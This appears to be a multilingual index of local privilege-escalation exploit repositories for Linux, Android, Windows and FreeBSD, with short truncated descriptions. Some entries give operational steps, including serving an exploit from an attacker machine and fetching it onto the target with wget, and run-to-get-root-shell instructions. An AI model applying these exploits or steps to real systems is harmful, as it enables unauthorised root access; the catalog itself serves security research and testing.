vmacache_CVE-2018-17182

Exploits Remote & Local Exploits...

CVE-2025-32463_chwoot

CVE-2025-32463chwoot English document Declaración: este script es solo para pruebas de seguridad, no lo utilice con fines ilegales. Script de verificación de la vulnerabilidad de escalada de privilegios CVE-2025-32463 sudochwoot Introducción Description En comparación con otros POCs en Internet,...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás una shell de root inmediatamente:...

CVE-2023-28252-Compiled-exe

CVE-2023-28252-Compiled-exe 对Fortra出色的CVE-2023-2852权限提升漏洞利用的修改。适用于Windows 11 21H2，clfs.sys版本10.0.22000.1574——同样适用于Windows 10 21H2、Windows 10 22H2、Windows 11 22H2和Windows Server 2022。 此版本保留了原始功能，但增加了将二进制文件作为参数提供的选项，在你手头没有Visual Studio时非常有用。 描述 有关该漏洞的（非常）详细说明，请参见...

dirty_sock

dirtysock: Linux 权限提升（通过 snapd） 2019年1月，当前版本的 Ubuntu Linux 被发现因 snapd API 中的一个漏洞而存在本地权限提升风险。本仓库包含原始漏洞利用 POC，仅供研究和教育使用。有关漏洞及其利用的详细说明，请参阅此处博客文章。 Ubuntu 默认附带 snapd，但任何安装此软件包的发行版都可能被利用。你可以轻松检查系统是否易受攻击。运行以下命令。如果 snapd 版本为 2.37.1 或更新，则你是安全的。 $ snap version ... snapd 2.37.1 ... 请注意，某些系统运行此命令时返回的是 snapd...

AndroidKernelVulnerability

Vulnerabilidad del Kernel de Android Resumen En noviembre de 2017, el sistema syzkaller detectó un error use-after-free en el kernel de Linux. En febrero de 2018, esto fue parcheado en algunos kernels de Linux y versiones de Android. Esta corrección nunca se incluyó en los boletines mensuales de...

CVE-2020-0796-SMB

CVE-2020-0796-SMB 该资源为CVE-2020-0796漏洞复现，包括Python版本和C++版本。主要是集合了github大神们的资源，希望您喜欢 C++ Python EXP POC 漏洞利用： 本地EXP提权：https://github.com/danigargu/CVE-2020-0796 本地EXE提权: https://github.com/f1tz/CVE-2020-0796-LPE-EXP POC版本提权： https://github.com/eerykitty/CVE-2020-0796-PoC...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables 这是一个（目前还非常粗糙的）CVE-2023-4911概念验证。到目前为止，我只验证了它在 Ubuntu 22.10 kinetic 上可以工作。当前版本的漏洞利用包含相当多的“魔法”偏移量。如果你对如何改进堆布局有建议， 欢迎向我的仓库提交 PR :。 该漏洞利用基本上是 Qualys 的优秀分析文章 的实现。在某些地方有所偏离。 这不一定是因为我认为自己更懂，只是在我的虚拟机上这样做是可行的。可能还有改进的空间。 使用方法 1. 使用 make 编译漏洞利用程序和 suid 库。 2. 从包含 suidlib.so 和...

CVE-2026-43499-RMX5200

CVE-2026-43499 para realme RMX5200 Escalada de privilegios local SO de la CVE-2026-43499 para: Elemento| Valor ---|--- Dispositivo| realme RMX5200 / RE6030L1 Android| 16 Kernel| 6.12.23-android16-5-gb2a876903b49-ab14541642-4k Huella| realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-key...

CVE-2022-0847

CVE-2022-0847 描述 - CVE-2022-0847 的 PoC：Linux 内核本地权限提升漏洞。 详情 - 安全研究员 Max Kellermann 负责任地披露了 'Dirty Pipe' 漏洞，并指出该漏洞影响 Linux 内核 5.8 及更高版本，甚至影响 Android 设备。 - 自 5.8 起，Linux 内核中存在一个漏洞，允许覆盖任意只读文件中的数据。这会导致权限提升，因为非特权进程可以将代码注入到 root 进程中。 - 发现了一个缺陷：在 Linux 内核的 copypagetoiterpipe 和 pushpipe 函数中，新的管道缓冲区结构的...

CVE-2018-17961

construir la imagen ejecutar el contenedor con reenvío de puertos conectarse mediante ssh -X ejecutar evince executeonlybypass.ps verificar que el exploit se ha escrito en /.bashrc...

CVE-2024-32019-POC

Escalada de Privilegios mediante ndsudo Exploit Local de Netdata Este POC se utiliza para explotar una utilidad ndsudo vulnerable incluida con Netdata y escalar privilegios locales a root. El exploit funciona inyectando un binario malicioso en el PATH del usuario que se hace pasar por un comando ...

CVE-2013-6282

BUILDING: Download the android ndk, e.g: https://dl.google.com/android/repository/android-ndk-r10e-linux-x8664.zip I used android-ndk-10d Unzip it and install ensure ndk-build is in your PATH $ make root ndk-build NDKPROJECTPATH=. APPBUILDSCRIPT=./Android.mk APPPLATFORM=android-16 APPABI=armeabi...

CVE-2009-2698

CVE-2009-2698 CVE-2009-2698 compiled for CentOS 4.8 https://github.com/SecWiki/linux-kernel-exploits/tree/4dca098e7491efc83903494d7c00f24c843aae99/2009/CVE-2009-2698 Detail hacker@localhost $ id uid=500hacker gid=500hacker groups=500hacker context=useru:systemr:unconfinedt hacker@localhost $ gcc...

Ubuntu-Gnome-privilege-escalation

Ubuntu-Gnome-privilege-escalation Un script bash de explotación de CVE-2020-16126/CVE-2020-16127 para lograr escalada de privilegios. Un script bash que facilita la escalada local de privilegios en Ubuntu aprovechando las vulnerabilidades CVE-2020-16126/CVE-2020-16127, requiere estar en un entorn...

CVE-2016-5195-master

CVE-2016-5195 CVE-2016-5195 dirty cow/dirtycow/dirtyc0w concepto de prueba para Android Este repositorio demuestra la vulnerabilidad en dispositivos Android vulnerables conectados mediante ADB. No desactiva SELinux ver https://github.com/timwr/CVE-2016-5195/issues/9 ni instala superusuario en el...

FreeBSD-9.0-9.1-Privilege-Escalation

FreeBSD-9.0-9.1 - 权限提升 CVE-2013-2171 作者：[email protected] 如何利用！ 1° 检查内核版本 uname -a FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE 0: Tue Jan 3 07:46:30 UTC 2012 2° 将此文件传输到目标 攻击者机器 - python3 -m http.server 8080 目标机器 - wget IP:8080/26368.c 3° 使用 GCC 编译代码 gcc 26368.c -o exploit 4° 运行漏洞利用...

CVE

cve: Una colección de código relacionado con CVE-2016-0728 varios autores Extractos de Linux, que muestran la evolución y corrección del error Código de exploit de Perception Point con comentarios añadidos que explican lo que hace cada línea. Un script corto que utiliza la fuga para incrementar e...

cve-2016-5345

CVE-2016-5345 高通FM无线电驱动程序中的权限提升。已在ASUS设备上测试利用。打开易受攻击的设备驱动程序需要一些已有权限。 原始CVE由Shellphish Grill团队的Aravind Machiry（donfos）发现。...

CVE-2021-4034

CVE-2021-4034 pkexec 使用此Python脚本利用pkexec文件中的漏洞，无需提供凭据即可获得root访问权限 · 检测二进制文件是否具有SUID权限，在这种情况下容易受到攻击 usuario@gatogamer $ ls -la /usr/bin/pkexec .rwsr-xr-x 1 root root /usr/bin/pkexec usuario@gatogamer $ · 运行exploit以获得root访问权限，在这种情况下只需用python3执行它，完成后你将获得一个root shell usuario@gatogamer $ python3...